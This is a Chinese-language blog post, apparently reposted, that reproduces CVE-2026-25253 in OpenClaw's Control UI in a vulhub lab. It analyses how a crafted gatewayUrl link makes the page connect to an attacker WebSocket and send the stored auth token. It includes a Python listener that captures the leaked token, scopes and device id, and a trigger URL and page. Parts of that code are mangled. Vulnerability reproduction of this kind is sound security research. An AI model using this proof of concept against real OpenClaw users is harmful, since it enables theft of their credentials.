openClaw CVE-2026-25253复现与简单分析

openClaw CVE-2026-25253复现与简单分析在 vulhub 下载的镜像 参考了 CVE 2026 25253 OpenClaw 高危远程代码执行漏洞深度分析 U 深搜 首先启动 docker 环境 然后访问 http localhost 18789 进入 openclaw 的主界面 这个漏洞产生的原因是 漏洞存在于 OpenClaw 的 nbsp Control UI 前端初始化逻辑 nbsp 中 在受影响的版本中

大家好,我是讯享网,很高兴认识大家。这里提供最前沿的Ai技术和互联网信息。



在vulhub下载的镜像

参考了:CVE-2026-25253:OpenClaw高危远程代码执行漏洞深度分析 - U深搜

首先启动docker环境

然后访问http://localhost:18789

进入openclaw的主界面

分析js代码

function ad(e) ), t.delete("token"), o = !0 } if (s != null) { const l = s.trim(); l && (e.password = l), t.delete("password"), o = !0 } if (i != null) )) } if (a != null) ), t.delete("gatewayUrl"), o = !0 } if (!o) return; const c = new URL(window.location.href); c.search = t.toString(), window.history.replaceState({}, "", c.toString()) }
function ke(e, t) { const n = { ...t, lastActiveSessionKey: t.lastActiveSessionKey?.trim() || t.sessionKey.trim() || "main" }; e.settings = n, fl(n), t.theme !== e.theme && (e.theme = t.theme, hn(e, qs(t.theme))), e.applySessionKey = e.settings.lastActiveSessionKey }

ad(e) 会直接从 window.location.search 解析 tokenpasswordsessiongatewayUrl,其中 gatewayUrl 会被写入 settings.gatewayUrltoken 会被写入 settings.token,随后 Vh(e)connectedCallback 阶段先调用 ad(e),紧接着无条件调用 wr(e) 发起连接。也就是说,URL 参数会在页面初始化时生效,并立刻进入连接流程。

连接本身确实是 WebSocket。wr(e)e.settings.gatewayUrle.settings.token 构造 new Bh({...}),而 Bh.connect() 里直接执行 new WebSocket(this.opts.url);连接建立后,sendConnect() 会把认证材料组装到 auth 对象里发送,其中 const c = o || this.opts.password ? { token: o, password: this.opts.password } : void 0,这里的 o 来自 this.opts.token,也就是前面由 URL 或本地设置注入的 token。

更关键的是,token 不只是来自当前 URL,还会持久化到本地。控制台设置使用 clawdbot.control.settings.v1 作为本地存储键,pl() 会从 localStorage 读取其中的 gatewayUrltoken;而 ke(e,t) 又会通过 fl(n) 把变更后的设置重新写回 localStorage。因此一旦用户访问带有恶意 gatewayUrl 的链接,前端会把新地址写进持久化设置,并在初始化时自动连接该地址。

从影响上看,这属于前端初始化逻辑导致的敏感认证信息外带。攻击者只需要诱导已登录或本地留存 token 的用户访问一个带查询参数的链接,例如带 gatewayUrl=ws://attacker...wss://attacker... 的页面地址,页面加载后就会自动把连接目标切到攻击者控制的 WebSocket 端点,并在握手/连接消息中附带 token。因为这条链路发生在页面加载阶段,用户看见 UI 之前外连就已经开始了。

第一步是入口可控。前端会从当前页面 URL 的查询参数里读 session,你前面核对到的同一段初始化逻辑也会处理 gatewayUrltokenpassword 这类参数,然后把结果写回运行时状态。更重要的是,页面初始化并不是只“读一下参数”,而是随后会继续进入连接流程。wr(e) 就是实际的连接函数,它直接把 e.settings.gatewayUrle.settings.tokene.password 塞进新的网关客户端实例。

第二步是本地敏感数据可被复用。控制台配置使用 clawdbot.control.settings.v1 作为本地存储键;pl() 会从 localStorage 读取 gatewayUrltokenfl(e) 会把更新后的设置重新写回去。也就是说,攻击者不一定非要通过 URL 直接塞 token;只要受害者浏览器里原本就留有合法 token,前端初始化时就会自动取出来,后续被用在新连接上。

第三步是连接目标可被切换。wr(e) 创建 new Bh({...}) 时,url 字段直接来自 e.settings.gatewayUrl。这意味着只要攻击者能让初始化逻辑把 settings.gatewayUrl 改成攻击者自己的 ws://wss:// 地址,后续客户端就会把 WebSocket 连到攻击者服务器,而不是原本的网关。

第四步是连接会自动发生,而不是只停留在表单里。虽然 UI 上有一句 “Click Connect to apply connection changes”,表面上像是要用户点按钮才会生效,但这只能说明表单手工修改时的交互提示。真正的初始化逻辑里,在参数处理之后会直接进入连接函数,所以攻击链的关键不是“诱导用户打开设置页并点击 Connect”,而是“诱导用户访问带参数的链接即可触发初始化连接”。这也是为什么这个问题危险性比普通配置注入高。

第五步是 token 会被带到攻击者端。Bh.connect() 直接执行 new WebSocket(this.opts.url) 建立连接。随后客户端发送连接认证消息时,会使用实例里的认证字段;而这些字段正是从 wr(e) 传入的 token / password。所以攻击者只要控制了 WebSocket 目标地址,就能在自己的服务端拿到前端发来的认证消息,从而截获 token。

第六步是持久化副作用。因为设置会被写回 localStorage,所以这不只是一次性外连。攻击者如果成功把 gatewayUrl 覆盖进本地设置,受害者后续再次打开 Control UI 时,pl() 还会继续从本地读取这个恶意地址,造成持续重连或再次泄露,直到用户手动修正本地配置。

import asyncio import json import websockets

async def handler(ws):

print("[+] Victim connected") async for msg in ws: try: obj = json.loads(msg) print(" 

[RECV]“, json.dumps(obj, indent=2)[:2000])

 if obj.get("method") == "connect" and "params" in obj: params = obj["params"] auth = params.get("auth", {}) device = params.get("device", {}) print(" 

[!] LEAKED AUTH CONTEXT:”)

 print(f" auth.token: ") print(f" role: ") print(f" scopes: ") print(f" device.id: ") print(f" device.publicKey: ") except json.JSONDecodeError: print("[RECV RAW]", msg[:500]) 

async def main():

async with await websockets.serve(handler, "127.0.0.1", 8080): print("Listening on ws://127.0.0.1:8080") print("Waiting for victim to visit: http://localhost:18789/?gatewayUrl=ws://127.0.0.1:8080") await asyncio.Future() 

asyncio.run(main())

 CVE-2026-25253 Trigger 

CVE-2026-25253 Minimal Trigger

Click the button below to force the Control UI to connect to the attacker WebSocket endpoint.

document.getElementById("go").onclick = () => ; 

小讯
上一篇 2026-04-17 13:56
下一篇 2026-04-17 13:53

相关推荐

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/268882.html